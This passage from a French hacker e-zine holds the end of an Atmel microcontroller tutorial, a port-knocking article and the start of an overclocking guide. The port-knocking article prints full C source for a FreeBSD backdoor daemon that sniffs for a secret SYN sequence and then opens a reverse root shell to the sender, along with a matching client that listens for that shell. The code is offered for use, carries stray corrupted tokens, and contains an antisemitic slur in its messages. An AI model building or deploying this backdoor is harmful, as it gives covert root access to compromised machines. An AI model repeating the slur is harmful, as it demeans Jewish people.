pin du Atmel afin de contrler de vraies lumires "mise
dans un bon ordre". ;)

***********************************************************/ 
void Process2(void)               
{
P1=0x00;            //Initialisation du port 1  zro
while (P1.0 != 1)   //Boucle tant que la pin 1 du Atmel (P1.0) est 
 {                  //pas  un niveau logique 1, (5v).
 P3=0x81;           //Le Port 3 a comme sortie sur ces 8 pins: 1000 0001 
 delay(4000);       //Call du dlai de temps.
 P3=0x42;           //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
 delay(4000);       
 P3=0x24;           //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
 delay(4000);       
 P3=0x18;           //Le Port 3 a comme sortie sur ces 8 pins: 0001 1000
 delay(4000);      
 P3=0x24;           //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
 delay(4000);      
 P3=0x42;           //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
 delay(4000);      
 }
}



/********************Fonction Process3**********************
Notre troisime et dernier process inclut une condition
faisant varier la valeur du port 3 de faon croissante ou
dcroissante selon la valeur d'une variable.

Si la pin 1 du Atmel (P1.0) est gal  un niveau logique 1,
soit 5v sur celle-ci, le port 3 affiche la valeur d'une
variable qui s'incrmente.

Sinon, le port 3 affiche une valeur de variable qui dcrmente.
***********************************************************/
void Process3(void)               
{
unsigned char valeur=0x00; //Dclaration d'une variable de 8bits 
                           // une valeur de dpart de 0.
if (P1.0==1)               //Si la pin 1 du Atmel (P1.0) est  un
 {                         //niveau logique 1, (5v).
 while (valeur != 0xFF)    //Boucle tant que la valeur est diffrente
  {                        //de 0xFF, 256.
  P3=valeur;               //Le port 3 est gale  la variable.
  delay(3000);             //Call du dlai de temps.
  valeur++;                //Incrmentation de la variable.
  }
 }
else                       //Si la Pin 1 du Atmel est pas gale
 {                         // un niveau logique 1, (5v)..
 valeur=0xFF;              //Nouvelle valeur de la variable
 while (valeur != 0x00)    //Boucle tant que la valeur est pas
  {                        //rendue  zro.
  P3=valeur;               //Le port 3 est gale  la variable.
  delay(3000);             //Call du dlai de temps.
  valeur--;                //Dcrment de la variable.
  }
 }
}



#pragma function = default     

--------------------------[Cut here]----------------------------


On  compile  notre code en  cliquant  sur  le  menu  Projet,  Bulld all. Ici on 
voit apparatre une box de message sur nos  erreur,  ou  notre  beau  code  qui 
marche.Le fichier une fois compiler se trouve dans le rpertoire  \Debug\Exe du 
rpertoire o vous avez cre votre projet. Il  nous faudra ensuite convertir le 
.hex du nom de votre  projet, en  un  .bin  et  finalement  programmer le Atmel 
AT89S8252. J'utilise personnellement un prog  appeler "Hex2Bin.exe" .. je  vous  
laisse  deviner  la  fonction  compliquer du programme ici... ensuite j'utilise 
AllowIO.exe "un programme pour envoyer du data directement par le port // ,  en  
bypassant les  restrictions  de  Windows  2k, Xp  et..."  pis  aprs  on run le 
"Isb_HB.exe" qui est en fait le  programme  qui s'interface avec le  Atmel pour 
le programmer.  Y'a un  txt  file  assez  complet mais simple qui vous explique 
aussi comment l'interfacer  avec  d'autres options, y'a mme  un test mode pour 
voir ou que sa chie si y'a une merde.. Syntaxe facile... :

Hex2bin test.hex test.bin
AllowIO 0x378 isp_hb.exe /LPT1 /erase test.bin

Ici  je  vous  laisse  lire  les .txt de  chaque   programme  pour    plus   de 
fonctionnalits..  car  y en  a  de  tous les genres...;) Mais on voit bien que 
j'"allow"  le prog ISB_HB  utiliser mon  port  parallle "adresse 0x378", avec 
comme consigne  d'crire  dessus  "LPT1",  d'effacer  ce  qui  avait comme code 
avant"/erase", pis  remplacer  le tout par mon code "test.bin"

Une  fois programm,  on  place  le  microcontrleur   dans   son   milieu   de 
dveloppement, on active le RESET du microcontrleur affin de le reseter sur le 
nouveau code  l'intrieur et  on  devrait  observer  ce  que  nous  esprions, 
encore une fois si le code a  bien  t  interprt. Sinon passons  la section 
suivante HOW TO DEBUG A CODE... et si tout va  bien, passons  tout de mme  la 
section suivante.

Pour dbuguer un code avec IAR, on doit:
 - Allez  dans  le  menu  Projet,  choisir  Option, slectionner XLINK, dans la 
   partie Format on slectionne Debug info, on clique sur Ok.
 - On retourne  notre menu Project et on choisis Debugger.  Rendu  la  on a un 
   nouveau programme qui s'ouvre  avec  notre code qui passe sour un highlight.
 - On se sert du menu Excute et des options qui a la pour  voir  ce  que notre 
   code fait step by step, on a aussi les  mmes options dans la barre de menu.

Si on dbug notre code par exemple, on choisis  de faire  F3  (step  into) pour 
rentrer dans notre process  numro 1.  On voit donc  que l'on cast une variable 
et on y met la valeur  0x00  l'intrieur. Ensuite on rentre  dans le while. On 
vois le port 1 se  mettre  la "valeur" de la variable,  ensuite  on  fait  F2, 
juste Step,  pour pas rentrer  inutilement  dans  une  fonction de dlais ou un 
compteur va dcrotre (c'est juste long  et  plate  peser  65534  fois  sur  un 
bouton..) On continue donc   faire avancer notre  code  avec F2, et on se rend 
compte que boucler 256 fois c'est  pas  mieux  non  plus, donc  on  va voir les 
variables directement :) Pour se faire on va dans  le  menu Control, on choisis 
QuickWatch. Ici on devrait voir une box apparatre ou notre variable se trouve, 
avec une  valeur  peu  lever..  crite en dcimal, on clique sur le bouton Add 
watch,et on a notre valeur dans une box qui spy nos  variables, on peut changer  
leurs  valeurs en hexadcimal ou en binaire   en  cliquant  "bouton de  droite"  
sur notre variable,  on va  dans les proprits et on change  le Display Format 
par ce qu'on veut. Si  on continue  excuter virtuellement  notre code (F2) on  
voit  la  valeur  augmenter.  On   peut  aussi  changer carrment la valeur  de 
celle-ci  en cliquant  encore sur  notre  variable  "bouton de droite",  on  va 
dans proprit et on change la valeur dans la partie Value. Encore une fois  un  
truc  pratique pour viter les boucles  rptitives  inutiles.  On  peut  aussi  
simplement faire "bouton de droite" sur le nom de notre variable   l'intrieur 
de notre code pour  ajouter un watch sur une variable.

Si  on  continue en  entrant dans  notre Process numro 2, on peut dj ajouter 
des watchs sur nos valeurs  du  port 1 et 3 (P1,P3).  Si  on met l'affichage de 
ces  deux valeurs  en  binaire,  on voit bien  ce  que  la fonction s'excuter. 
Si on veut sortir de cette boucle,  et  faire  comme  si  on appliquerais  un 1 
logique  au signal P1.0,  on a qu'  appliquer  une  valeur logique 1 au bit le 
moins significatif de la valeur de P1, par exemple:
0x01 (hexa) --> 0000 0001 (bin).

Pour ce qui est du Process numro 3, on peut trs bien voir que  dans  un  cas, 
la valeur du port incrmente, et dans l'autre cas il dcrmente, la mthode des 
spy de variable, ainsi que la manipulation de  leurs  valeurs  aide  beaucoup  
comprendre la logique  derrire  le  code....  en  fait  sa  l'aide  surtout   
trouver les bugs de logique derrire le code :)

Comme chaque code a sont lot de bug, je serais bien mal placer pour vous dire  
l'avance qu'elle est le votre.. mais avec exprience, s'il  s'agit bel et  bien 
d'un bug de logique, on le trouve assez bien avec cette outil.

Oubliez pas de remettre dans IAR, Projet, Option, XLINK, votre  Format  Other, 
mpds-i. Sans sa vous aurez pas vos .hex quand vous voudrez compiler.

Pour finir, y'a beaucoup de possibilits de code qu'on peut cre avec  ce  type 
de microcontrleur. Ici les exemples tait assez pour dbutant.  Mais  on  peut 
facilement contrler un LCD ou d'autre priphriques de  contrle avec, et ce  
une vitesse incroyable. A suivre dans le prochain Zine  :). Une autre technique 
de montage  pourrait  fort  bien  tre utilis  pour  des avantages quelconque, 
l'utilisation d'un Atmel SOCI (c'est--dire beaucoup plus  petit,  et fait pour 
le surface mount) serait un choix judicieux  pour  la  gestion  de  l'espace du  
circuit.  Avec les moyen du  bord soit,  j'ai russi  me builder un circuit de 
test aussi gros  qu'un  macaron  (pille  incluse).. Je  sais  c'est  pas encore 
invisible,  mais putin c'est un board de test.. y'a srement  moyen  d'ailleurs 
de  rduire le circuit (to be continue in an other kewl Zine...??) Enfin, cette  
mthode  se  monte aussi plutt bien, bien  qu'elle ncessite un  peu  plus  de 
skill en  soudure.. mais rien d'impossible je vous assure.

[IMG-18] Image du AT89S8252 SOCI, sur un board plus petit.

C'est  dj  tout pour cette intro au microcntroleur,probablement que dans  le 
prochain  e-zine  je  vais  pousser  plus loin les possibilits de  ce  type de 
contrle, avec des priphriques et des codes plus complexes. D'ici la have fun 
with exprimentation.

                                Qwzykx, the almost life in a box teacher.
                                
                                

                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr un endroit digne remplis de gentlemen    \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<Wz0Ds> jtais pas 300 sur le x ?                                      ]=--[~~]----|
|      [<Wyzeman> jsais meme pas t qui                                         ]    \/     | 
       [<Wz0Ds> add moi, jsuis wz0ds                                           ]           | 
|      [<Wz0Ds> le takeur de #rectum-crew par exellence                        ] Gravity
|      [<Wyzeman> hum, c dejas plus amusant                                    ] always               
|      [<Wz0Ds> www.wz0ds.cc/index.pl?section=news                             ] wins      |  
       [<Wyzeman> ba, on peu pas dire que tu veux pas                          ]           | 
       [<Wz0Ds> qu'est-ce tattend pour me add?                                ]           |  
|      [<Wyzeman> ca depend, jai pas encore compris si tessaye de me faire peur]               
|-[~]-=[ou de mimpressionner                                                   ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ The real slim portknocker           ]=------+---------------------------=[06]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Phawnky   ]=-|
| //                                                                                       |
| L\:-=[Ak : aussi disponible en hot wheel              ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


    Aucune  mthode  d'authentification  est infaible, que a  soit  les  tests 
biometrique, genre ceux qui marche avec les empruntes  digital, ou la retine...
ouaip les mme que Wesley Snipes dejou  dans demolition man en arrachant l'oeil 
d'un  gars. Ou les usernames/pass  qui  sont  previsible,  extrapolable,  brute 
forceable, voir mme extorcable  avec  un  regard  mchant  et  un  plunger   a 
toilette, bref you get the idea...

Le  but  de  tout mcanisme d'authentification sophistiquer est de minimise  le 
plus possible la quantit de personne qui soit apte a contourner ce dernier. En 
utilisant  des  contraintes;  psychologique  (exemple  les cadenas que hacktoad 
ouvre  en  .00001  secondes),   physique  (qui  demande  d'arracher  l'oeil  de 
quelqu'un) ou au niveau du traitement/probabilit (Genre les private keys RSA).

Il  y  a une mthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...)
que wyzeman a effleure dans le dernier zine qui a sucite mon intrt  y'a  plus 
ou moins  un ans, alors que je suis tomber par hasard sur le site de phenolite.
et que j'ai vu cd00r.c, leur port knocker backdoor.

Si  vous  s'avez  pas  c'est  quoi un port knocker et que vous tes des putains 
de  lopettes   paresseuse  (comme  moi)  je vais le rsumer trs vite: Imaginer 
une box, avec  toute  ses  ports  closed,  qui sniff toute le incoming/outgoing  
traffic au raw socket level, et finalement regarde le destination port. En bref  
c'est  a.  Quand  un  host  trigger   un   nombre  X  de  port  dans  un  orde 
pre-determin,  bingo  yer  authentifier... la puissance de ce mcanisme rside 
dans le nombre X de port. qui  pourrait tre 42 ou encore le nombre d'asiatique 
sur terre, a et le  nombre  de  port  qu'il  y  a  sur  une box, soit 2^16. Un 
Rappelle sur les probabilit:

   (2^16)^X = nombre de combinaison possible.

Je  trouves  ce  systme la, comme tel, dj bon. Mais comme |R ma fait ralise 
que si y'avait quelqu'un qui sniffait le traffic et que la  port knock squence 
restait toujours la mme,  jme  ferais  fourrer  comme  une  vierge saoule a un 
after-graduation party. Il m'a donc, suggr d'implmenter un truc similaire au 
one-time-pass ( man  skeys, si vous savez pas c'est quoi) que j'ai pas vraiment 
eut le  temps de finalise...que je nommes one-time-  knock...wo0...original. Je 
me sers de BPF dans mon code, mais a devrait tre plutt facile a porter.

Treves  de  dtails inutile, si vous voulez la base d'un port knocker daemon et 
gosser avec a vous aussi, durant une nuit, avec une bouteille de vodka,  aprs
avoir t mal baiser, pour vous remonter le moral, voici le code server/client:

 /* 
 \   Fbsd Portknock Daemon by phawnky
 /   
 \   Based on cd00r.c by FX of phenoelit.de  
 /
 \   This is a non listening connect-back rootshell dropping backdoor.
 /   To trigger it, you just need to send SYN flagged packets to the host running this
 \   on the port sequence you choose. Anything doing a connect() definatly would work, 
 /   but as an exercise I made a client for it: portknock-client.c   
 \    
 /   TODO:
 \           - SENDER based hash table, containing which step is completed individually.
 /           - Add One Time Knock support/list generation (credit goes to |R for the idea.)
 \           - Mmmm...test it on fbsd 5.X
 /           - Port it to linux
 \           - Make an open-pam module of it
*/
 
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <netinet/in_systm.h>
#include <net/bpf.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <ifaddrs.h>
#include <netdb.h>
#include <signal.h>

// Configs
#define VERBOSE      1          // don't want any outputs? use 0
#define INTERFACE    "ste0"     // use your external interface for this.
#define CONBACK_PORT 4455       // connect back port...yeah
#define MAX_PORT     65535
#define SEQUENCE_LEN 10

// Prototypes
void connectback(char *dest, int port);
unsigned int **get_next_knock(int max, int num);

int main() 
{
   int i, fd, flag, n_read, bsize, cport, mport;
   unsigned int offset = 0xe;
   struct bpf_hdr *header;
   struct ifreq ifr;
   struct ip *iph;
   struct tcphdr *tcph; 
   char *buf;
   char device[sizeof "/dev/bpf0"];
   char sender[sizeof "999.999.999.999"];
   #fresh
   unsigned int **knock;
     
   // Root user check
   if (getuid()) {
      if (VERBOSE)
         fprintf(stderr, "[-] You need root to snort like a man!\n");#fresh
      exit(-1);
   }  
   
   // looking for an openable bpf.
   for(i=0; i < 5; i++)
   {
     sprintf(device, "/dev/bpf%d", i);
     fd = open(device, O_RDONLY);
     if(fd == -1 && errno == EBUSY) // Busy...
        continue;
     else  // Success, Failure, Not enough priviledges.
        break;
   }  
  
   if (fd == -1) {
      if (VERBOSE)
         printf("[-] All bpf devices tested (0-4) are busy, or non-existent.\n");
      exit(-1);
   } else {
      if (VERBOSE)
         printf("[+] %s isn't busy...\n", device);
   }  
     
   // getting packet size 
   if (ioctl(fd, BIOCGBLEN, &bsize) < 0) {
     perror("[-] BIOCGBLEN()");
     exit(-1);
   }
   
   buf = (char*)malloc(bsize);
   if (!buf) {
      if (VERBOSE)
         fprintf(stderr, "[-] Can't malloc() %d bytes.\n", bsize);#fresh
      exit(-1);
   }

   // bind to an interface 
   strncpy(ifr.ifr_name, INTERFACE, sizeof(ifr.ifr_name)-1);
   ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
   if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) == -1) {
     if (VERBOSE) 
        perror("[-] BIOCSETIF()");
     exit(-1);
   } else {
     if (VERBOSE)
        printf("[+] %s bound to %s\n", device, INTERFACE);
   }
  
   // get data immediatly
   flag = 1;
   if (ioctl(fd, BIOCIMMEDIATE, &flag) < 0) {
     perror("BIOCIMMEDIATE()");
     exit(-1);
   } 
  
   // Setting up sequence
   knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
   mport = SEQUENCE_LEN;
   cport = 0;
       
   // Infinity starts here.
   while(1) 
   {
      bzero(buf, bsize);
      n_read = read(fd, buf, bsize);
      if (n_read == -1 ) {
         if (VERBOSE)   
            perror("[-] read()");
         exit(-1);
      } else {
         header = (struct bpf_hdr *) buf;
         iph = (struct ip *)(buf + header->bh_hdrlen + offset);
        
         // This is where the tests begins#fresh
         if (iph->ip_v == 4 && iph->ip_p == 6) {  // IPv4 && TCP/IP packet, look'n good. 
            tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hl<<2));
            if (  (tcph->th_flags & TH_SYN) &&    // SYN is good
                ! (tcph->th_flags & TH_ACK) &&    // no ack
                ! (tcph->th_flags & TH_RST) &&    // no rst
                ! (tcph->th_flags & TH_URG) &&    // no urg
                ! (tcph->th_flags & TH_FIN)) {    // no fin

               if (htons(tcph->th_dport) == *knock[cport]) { // Port match
                  if (cport == 0) 
                     strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1);
                  
                  // Making an hash table based on hosts
                  // Would make this MUCH more reliable.
                  if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) {
                     if (VERBOSE)
                        printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", 
                               inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]);
                     cport = 0;
                     continue;                   
                  } else { // same sender
                     if (VERBOSE)
                        printf("[+] %s - Knock #%d [%d/%d] - Accepted\n", 
                               inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]);
                     if (++cport == mport) { // end of knock sequence reached
                        cport = 0;
                        // Getting next knock sequence
                        free(knock);
                        knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
                        sleep(1);                  
                        // Dropping shell
                        connectback(inet_ntoa(iph->ip_src), CONBACK_PORT);                        
                     }
                     continue;   
                 }
               } else { // Port dosen't match
                  if (VERBOSE) 
                     printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting\n", 
                            inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]);
                  cport = 0;
                  continue;                    
               }          
            } // Flag's test failed
         }    // IP version, or protocol type failed
      }       // read() didn't fail o_O
   }          // while(1)
}             // main()


void 
connectback(char *dest, int port)
{
   struct sockaddr_in sin;
   int s, i;  
   int pid;
   
   sin.sin_family = AF_INET;
   sin.sin_port = htons(port);
   sin.sin_addr.s_addr = inet_addr(dest);
   
   s = socket(AF_INET, SOCK_STREAM, 0);
   if (s < 0 || (connect(s, (struct sockaddr *) &sin, sizeof(sin))) < 0) {
      perror("[-] connect()");
      return;
   }
   
   if (VERBOSE)
      printf("[+] Connected to %s:%d, dropping shell!\n", dest, port);
   
   if(!fork())
   {
      for(i=0; i < 3; i++)
         dup2(s, i);
          
	   send(s, "[ r00t! ]\n", sizeof("[ r00t! ]\n"), 0);
      execl("/bin/sh", "kewt", 0x00);
      exit(0);          
   }   
   close(s);	
}   
   
unsigned int **get_next_knock(int max, int num)
{
   int i;
   unsigned int **knock;
   
   srand(time(0x00));
   
   knock = malloc(sizeof(unsigned int *));
   for(i=0; i <= num; i++)
      knock[i] = malloc(sizeof(unsigned int) * num);
      
   for(i=0; i < num; i++)
      *knock[i] = (rand() % max) + 1;
   *knock[i] = 0x00;
   
   // Display
   printf("[+] Next knock: ");
   for(i=0; *knock[i]; i++)
      printf("%d ", *knock[i]);
   printf("\n");   
   
   return knock;      
}   
   
   
 /*
 \      PortKnock Client [works on Fbsd 4.X]
 /      It's just a SYN packet crafter... 
 \      
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#define SRC_PORT 1337
#define CONBACK_PORT 4455

//Prototype
void usage(char *prog);
int listen_cb(int port);
int shell(int sockfd);

int main (int argc, char *argv[]) 
{
   int s, i, pcount, one=1;
   int *val = &one;
   char datagram[4096]; 
   char pseudohdr[1024];
   struct ip *iph = (struct ip *) datagram; 
   struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
   struct sockaddr_in sin;
   
   int tcphdr_size = sizeof(struct tcphdr);
   
   if(argc < 2) 
      usage(argv[0]);
   
   if(getuid()) {
      fprintf(stderr, "[-] getuid(): Raw socket operations need uid 0.\n");
      exit(-1);
   }
   
   if(!gethostbyname(argv[1])) {
      fprintf(stderr, "[-] gethostbyname(): Invalid host: %s\n", argv[1]);
      exit(-1);
   } 
   
   for(pcount = 0; argc > 2; argc--)
      pcount++;
   
   for(i=0; i < pcount; i++)
   {
      s = socket (PF_INET, SOCK_RAW, IPPROTO_IP); 

      sin.sin_family = AF_INET;
      sin.sin_port = htons(atoi(argv[i+2]));
      sin.sin_addr.s_addr = inet_addr(argv[1]);
      bzero(datagram, sizeof(datagram)); 

      iph->ip_hl = 5;
      iph->ip_v = 4;
      iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); 
      iph->ip_id = htons(31337);
      iph->ip_ttl = 250;
      iph->ip_p = 6;
      iph->ip_src.s_addr = INADDR_ANY;
      iph->ip_dst.s_addr = sin.sin_addr.s_addr;
      tcph->th_sport = htons(SRC_PORT); 
      tcph->th_dport = htons(atoi(argv[i+2])); 
      tcph->th_seq = htonl(31337);
      tcph->th_off = sizeof(struct tcphdr)/4; 
      tcph->th_flags = TH_SYN; 
      tcph->th_win = htons(57344); 
  
      if (tcphdr_size % 4 != 0) 
        tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
   
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
         fprintf(stderr, "[-] setsockopt(): Can't set HDRINCL!\n");
         exit(-1);
      }
   
      if (sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) < 0) {
         perror ("sendto");
         exit(-1);
      }
      printf("%s:%d -SYN-> %s:%d\n", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2]));      
   } // for()
   listen_cb(CONBACK_PORT);
}

void
usage(char *prog)
{
  printf("Correct usage:\n"
         "--------------\n\n"
        "%s <host> <port1> <port2> ... <portn>\n", prog);
  exit(-1);
}


int 
listen_cb(int port)
{
   
   struct sockaddr_in sout;
   int s, client, sz_client;
      
   bzero(&sout, sizeof(sout));
   sout.sin_family = AF_INET;
   sout.sin_addr.s_addr = INADDR_ANY;
   sout.sin_port = htons(CONBACK_PORT);
   
   s = socket(AF_INET, SOCK_STREAM, 0);
   if (s < 0) {
      perror("socket()");
      exit(-1);
   }
   
   if (bind(s, (struct sockaddr *) &sout, sizeof(sout)) < 0) {
      perror("[-] Bind()");
      exit(-1); 
   }   

   if (listen(s, 2) < 0) {
      perror("[-] Listen()");
      exit(-1);
   }
   
   client = accept(s, 0x00, 0x00);
   
   if (client > 0) {
      printf("[+] Got shell...dropping it!\n");
      shell(client);
   }      
   
   return(0);
}
   
// Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good.
int 
shell(int sockfd)
{    
   char rb[1500];
   fd_set  fdreadme;
   int i;
   
   FD_ZERO(&fdreadme);
   FD_SET(sockfd, &fdreadme);
   FD_SET(0, &fdreadme);
   
   while(1) 
   {
      FD_SET(sockfd, &fdreadme);
      FD_SET(0, &fdreadme);
      if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
      if(FD_ISSET(sockfd, &fdreadme)) 
      {
         if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
         {
            printf("[-] Connection Terminated by jew!\n");
            exit(1);
         }
         if(write(1, rb, i) < 0) break;
      }
      if(FD_ISSET(0, &fdreadme)) 
      {
         if((i = read(0, rb, sizeof(rb))) < 0)
         {
            printf("[-] Connection Terminated by jew!\n");
            exit(1);
         }
         if (send(sockfd, rb, i, 0) < 0) break;
      }      
   }
   printf("[-] Connection closed by foreign host..\n");

   exit(0); 
}



                                                            Phawky



                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, c'est aussi....binf                     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (beware of the stonecutters)                                          '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<binf> ecoute dit toi que si ca passe a radio canada c'est approuver   ]=--[~~]----|
|      [par des conseils masonique.                                            ]    \/     | 
       [<binf> enfait quasi tout ton information est controler ou              ]           | 
|      [scruter/aprouver par des masson                                        ] Statistics
|      [<binf> http://pages.infinit.net/fmmtl/                                 ] are used 
|      [<binf> http://www.francmaconnerie.ca/                                  ] by people |  
       [<binf> derriere chaque divertissement                                  ] who have  | 
       [<binf> ya dla massonerie                                               ] no proof  |  
|      [<binf> surtout en amerique du nord ou la massonerie est hyper rependue ]               
|-[~]-=[<hktoad> y'a tu de la massonerie derrire ta propagande                ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ Overclocker sont Hardware           ]=------+---------------------------=[07]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Spider    ]=-|
| //                                                                                       |
| L\:-=[Ak : scoty il nous faut plus de puissance!!!    ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Moi j'me dit qu'un ordi c'est comme un char dans le fond. Y'en a qui paye  cher 
pour avoir un bon char, y'en a qui paye cher pour mettre des nons pi des trucs 
pour flasher, et y'en a qui modifie le moteur  avoir plus de performance. Nous, 
on modifie la vitesse  laquelle nos priphriques  fonctionnent.  Avec  un bon 
overclocking stable, il est  possible  d'obtenir  un  gain de performance asser 
important, entre 20%  et 35%. Par contre, avec un overclocking extrme, on peut 
aller chercher un gain de performance beaucoup plus lev soit 50%, 60%, 70% et 
parfois  plus.  Pour  des  raisons  montaires et parce qu'on veut garder notre 
hardware le plus longtemps possible, je vais me contenter de vous  expliquer la 
base de l'overclocking.  part la performance, il a  plusieurs autres avantages 
  l'overclocking,  Ca  va  entre  autres vous  permettre de connatre beaucoup 
mieux le fonctionnement au niveau  hardware  de votre ordi. Mais la vrai raison 
pourquoi c'est cool d'over-clocker  c'est  que sa fait toujours lite de parler 
de tsa  vos amis...


				...ts genre "i'm l33t motherfucker"




**** L'overclocking annule thoriquement les garanties. Allez y
**** donc avec modration pour ne pas faire griller vos priphriques.
	

  Pour commencer, une chose importante et malheureusement souvent nglige pour 
tout pc, mme si on ne prvoit pas d'overclocker c'est le case. Il vous faut un 
bon botier performant qui  va  permettre  un  bon  flow  d'air,  qui  va  tre 
pratique, grand, solide, facile d'accs, jolie,  avec  une  statuette en bronze 
reprsentant une danseuse hawaiienne sur le  dessus (pour la chance). Plusieurs 
cases sont trs bien cots, entre autre ceux  de  ANTEC.  Pour  de  plus amples 
informations, consulter le site suivant:

---> http://www.antec.com/us/pro_enclosures.html
     


1. CPU OVERCLOCKING

  Ensuite on overclock... pratiquement la totalit des cartes mres disponibles 
de nos jours possdent les options pour clocker sont  systme manuellement dans 
le bios. Par contre certains systmes sont bloqus et on ne peu pas changer les 
settings comme on le veut. Il faut  parfois faire des modifications physiques  
sont hardware comme relier des circuits ou souder des ponts pour les dbloquer. 
Pour savoir a  il  n'a  qu'une solution et c'est d'aller rechercher sur le net 
des  review  d'autres  personne  qui  ont  dj  overclock  le  mme hardware. 
Maintenant on commence avec les 2 settings  qui  vont  influencer  le  plus  la 
vitesse de votre pc et avec lesquelles on peut jouer.


CPU External Frequency aka Front Side Bus(FSB):

Le fsb est le bus de donn qui transert le data du processeur  la  mmoire  et 
l'inverse( en gros ). Donc la vitesse du fsb change beaucoup  les  performances 
du pc. Le CPU External Frequency, quant  lui, c'est  la  vitesse  laquelle le 
cpu va pitcher le data dans le front side bus.

CPU Frequency Multiple aka CPU Frequency Multiple:

C'est ce chiffre l qui, une fois multipli avec la frquence du processeur, va 
donner la vitesse  laquelle le processeur va runner.  Exemple:  ta un cpu ext. 
freq.  210 mhz et un multiplicateur  9.5 ben  ton processeur va rouler  1995 
mhz ~2.0 ghz. 


  Maintenant, c'est ben l'fun modifier ces settings l dans le  bios  mais  qui 
dit overclocking dit dgagement de chaleur  important  donc  c'est  l  que  le 
cooling entre en jeu. Pour cooler efficacement et  prix raisonnable un  cpu je 
recommande les heatsink ZALMAN. Ils sont trs efficaces et trs silencieux.

---> http://www.zalmanusa.com/usa/product/code_list.asp?cate=03040506
     

  Il est important aussi d'appliquer de la pte thermique. Cette  pte  a  pour 
but de combler toutes irrgularits sur la surface du cpu  et  du  heatsink  de 
faon  ce que le contact entre les deux soit parfait, ce qui permet un change 
de chaleur optimal. Il n'a pas vraiment de qualit pour la pte  thermique mais 
on entend souvent dire que la arctic silver 5 est la meilleur.

  Asteur le principe de base de l'overclocking est de premirement  baisser  le 
un peu multiplicateur et monter la frquence du cpu de 5 mhz  graduellement  de 
faon  trouver la plus haute frquence qui est support par vos composant.  Si 
votre  pc  ne  dmarre  pas,  c'est  soit  que la frquence n'est carrment pas 
supporter par votre hardware ou soit que le CPU  manque de jus. Dans le premier
cas, suffit de dbrancher l'alimentation et d'attendre quelques  secondes  pour 
que sa revienne. Dans le second, vous pouvez monter le voltage  de  votre   CPU 
dans le bios en utilisant le menu Vcore. Plus le voltage est  haut,  plus  vous
aller faire chauffer le CPU. Il ne faut pas  oublier  qu'un  haut  voltage aura 
galement pour effet de rduire la dure de  vie  de votre matriel. Un voltage 
raisonnable  se situe  entre  1.7  et  1.8.  Une fois  que vous avez trouver la 
frquence  maximale,  montez  le  multiplicateur  par  coup  de  .5,  tout   en 
surveillant la temprature.  Une  fois  le pc boot, faite une coupe de test de 
benchmark de suite pour s'assurer  que  le pc est stable. Pour cela, il  existe 
plusieurs  programmes,  le  plus connu  tant 3Dmark.  Mais  plusieurs   autres 
programmes peuvent tre utiliss tel CPU burn  qui  est spcialement conu pour 
faire chauffer le CPU. En passant, essayer de ne  pas  dpasser  les  50 degrs 
celcius en pleine charges. Plus votre CPU reste froid,  mieux  il  performe  et 
plus sa dure de vie va  tre  leve.  Comme  vous  avez  remarqu,  tous  ces 
programmes sont sous windows. Pour linux et bien... et bien je dois  avouer que 
j'ai  pas  overclocker  de  pc utilisant linux parce que j'ai seulement  besoin 
d'extrme performance pour jouer  des jeux, donc windows. Donc si les 2  tests 
